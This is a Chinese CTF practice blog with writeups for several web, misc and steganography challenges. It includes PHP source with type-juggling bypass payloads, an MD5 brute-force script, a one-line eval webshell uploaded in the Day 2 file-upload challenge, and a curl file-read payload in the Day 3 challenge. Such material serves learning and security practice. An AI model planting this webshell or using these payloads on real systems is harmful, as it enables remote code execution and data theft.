【每日一题】--Writeup

【每日一题】

这是每日一题打卡计划的Writeup,主要为Writeup和对题目的简略思考QAQ

DAY–001

easyphp[*]

这里选择的第一题是攻防世界里江苏工匠杯的一道web题

解题过程

获取容器,访问链接,能够直接获取题目主要源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}

?>

首先找到直观的$flag,发现获取条件是需要$key1 && $key2,同时包含"Hgfks.php"

接下来回到源码主体,找$key1 && $key2的条件。能够看到都需要等于1。

$key1 && $key2

首先来看$key1被赋值为1的条件

1
2
3
4
5
6
7
8
9
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}

这里是对a和b的一些条件限制,首先intval($a)这里没有对a进行限制,默认a是10进制数,主要是后面的> 6000000 && strlen($a) <= 3,大于6e6且长度小于3,这里可以直接用科学记数法直接bypass,a=7e7即可。

接下来看对b的限制,isset($b) && '8b184b' === substr(md5($b),-6,6)不为空,且md5值的后六位为8b184b,这里可以上一个hash爆破的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import random
import hashlib

md5 = "8b184b"
while 1:
m = random.randint(10 ** 11, 10 ** 12 - 1)
m = str(m)
MD5 = hashlib.md5()
MD5.update(m.encode(encoding='utf-8'))
flag = MD5.hexdigest()
if flag[-6:] == md5:
print("碰撞成功:" + flag)
print("明文为:" + m)
break
else:
print("waiting------")

这里爆破出来是

b-hash爆破

所以,b=368400238809

至此,key1=1的条件都满足,做个测试

test

接下来看key2=1的条件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}

首先看对c的条件限制is_array($c) \$c=(array)json_decode(@$_GET['c']),c为数组类型,且是双数组同时c在GET请求前会被json编码一次。。

对m的限制!is_numeric(@$c["m"]) && $c["m"] > 2022,来看一下

!is_numeric()函数的限制特点,限制返回的数不为数字和数字字符串。且m的值还得被解析为大于2022的整数。在php中字符串和与数字相比较是会被强制转化为整型,所以这里可以用“2023TWe1v3”来进行比较,会被转化为“2023”与“2022”相比较,满足m的条件了。

**小tip—>这里做个test:

1
2
3
4
5
6
7
8
9
10
<?php
show_source(__FILE__);
$m = $_GET['m'];
if(!is_numeric($m) && $m > 123){
echo("u are right!");
}else{
echo("u are false~");
}
?>

m=1234 false

m=1234

m=1234a true

image-20221231012307478

【回归正题】

对n的限制if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])),变量n必须为数组且有两个。

往下跟array_search("DGGJ", $c["n"])这里的array_search()是在数组变量n中匹配“DGGJ”,匹配到返回TRUE,反之返回FALSE。同理和弱类型比较相近似,在php中字符串和与数字相比较是会被强制转化为整型,“DGGJ”转化为整形就是0,所以到这儿就可以完成了

构建最后的payload

1
?a=7e7&b=368400238809&c={"m":"2023TWe1v3","n":[[0],0]}

flag

DAY–002

[HNCTF 2022 Week1]easy_upload[*-]

前言

今天感染了奥密克戎,一直在发烧,很迷糊,说话也是有气无力的,就浅浅的拿新生赛的题来水几天‘‘‘‘’’’’

解题过程

打开链接,先简单测试一下上传的黑名单,上传一个1.php内容是:

1
<?php phpinfo();?>

发现无过滤且能直接执行php文件,直接写一句话木马

1
<?php echo("123");@eval($_GET['TW']);?>

ez_upload

结:这题纯面向新生,没有什么知识点的考察,一句话木马的编写,RCE命令执行。

DAY–003

[XCTF2016]Cat [**+]

解题过程

首先能够测试到这儿有一个curl能够ping通本地127.0.0.1

Cat-01

就以为是拼接命令执行,试了半天都没回显

Cat-02

开始手动fuzz(ps:)不想用bp哈哈哈)

不停的输入测试可以发现能够解析十六进制的ASCII码值

Cat03

可以试试超出ASCII编码范围看看解析是否报错%80

Cat04

简单看一下报错回显,发现在报错回显泄露了数据库的绝对路径,使用@+绝对路径可以直接访问,访问一下:

Cat-05

能够在大量报错回显中发现flag

构建最后的payload

1
?url=@/opt/api/database.sqlite3

DAY–004

[WDCTF]4-1 [*]

解题过程

binwalk -e ./分离出图片中的压缩包,解压后根据tips.txt提示第二张比第一张图片多一些东西,可大概推断出这是盲水印隐写,github上找BlindWaterMark-master,运行脚本即可。

DAY–005

【略】

DAY–006

【略】

DAY–007

[NISACTF 2022]popchains [***]

前言

1
2
3
4
5
6
7
8
9
__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法
__construst():具有构造函数的类在创建新对象的时候,回调此方法
__destruct():反序列化的时候,或者对象销毁的时候调用
__wakeup():反序列化的时候调用
__sleep():序列化的时候调用
__toString():把类当成字符串的时候调用,一般在echo处生效
__set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用
__get():读取不可访问或者不存在的属性的时候,进行赋值
__call():在对象中调用一个不可访问的方法的时候,会被执行